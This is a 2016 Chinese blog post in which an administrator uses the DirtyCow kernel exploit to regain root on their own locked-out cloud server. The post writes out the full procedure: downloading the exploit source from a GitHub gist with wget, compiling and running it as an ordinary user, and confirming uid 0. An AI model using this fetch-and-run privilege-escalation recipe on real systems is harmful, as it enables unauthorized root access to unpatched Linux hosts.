一次本地提权的实战演练

作者: haw_haw | 来源:发表于2016-11-29 17:12 被阅读342次

    Why

    开发同学在线上一台公有云的机器上调试系统环境的时候,把 /etc/security/limits.conf 给改坏了,这是第二次改坏这个文件了,具体怎么改坏的,为什么改坏了会导致不能登录我单独来说(先挖坑),我这里只讲现象,这一次改坏的情况还好,只影响 root 用户,普通用户还能登录。于是就想能不能用普通用户本地提权成 root,再去修复文件 /etc/security/limits.conf

    Howto

    yum -y install wget gcc;
    # 安装必需软件
    su - nagios;
    # 切换成普通用户(nagios)
    id;
    # 测试用户身份权限
    

    系统输出:

    uid=500(nagios) gid=500(nagios) groups=500(nagios)

    可以看出用户 nagios 是普通用户(uid 和 gid 都是 500)

    cd /tmp;
    # 危险动作在 /tmp 目录下做比较好
    wget \
        https://gist.githubusercontent.com/KrE80r/42f8629577db95782d5e4f609f437a54/raw/71c902f55c09aa8ced351690e1e627363c231b45/c0w.c;
    # 获取 exploit code
    gcc -pthread c0w.c -o c0w;
    # 编译之
    ./c0w;
    # 执行(exploit code)
    

    系统输出:

    (___)
    (o o)_____/
    @@ ` \
    \ ____, //usr/bin/passwd
    // //
    ^^ ^^
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd to /tmp/bak
    mmap 9c9bf000

    madvise 0

    ptrace 0

    再执行:

    /usr/bin/passwd;
    whoami;id;
    

    系统提示:

    root
    uid=0(root) gid=500(nagios) groups=0(root),500(nagios)

    由此可以看出用户已经变成 root(uid 为 0),主组还是 nagios,但同时也已经是 root 组成员

    最后,记得把 /tmp/bak 恢复回去成 /usr/bin/passwd

    mv /tmp/bak /usr/bin/passwd;
    chmod 4755 /usr/bin/passwd;
    chown root:root /usr/bin/passwd;
    

    参考资料

    相关文章

      网友评论

      • 蚁景科技:关于这次提权的原理能够更详细些就好了,尤其dirtyCow的部分
        haw_haw:@合天智汇 多谢认同。不过还是算了吧,写东西好麻烦的
        蚁景科技:http://www.hetianlab.com//expc.do?ec=ECID9d6c0ca797abec2016103117181500001 我们实验室也有这个漏洞的分析,但是只是做了只读文件改写。如果有时间你可以把这个提权形成一个实验投稿给我们。这是我们的设计师说明http://www.hetianlab.com/Experiment-Description.html
        haw_haw:@合天智汇 建议非常好。但我当时只顾解决问题了,连代码都没太仔细看

      本文标题:一次本地提权的实战演练

      本文链接:https://www.haomeiwen.com/subject/pxfzpttx.html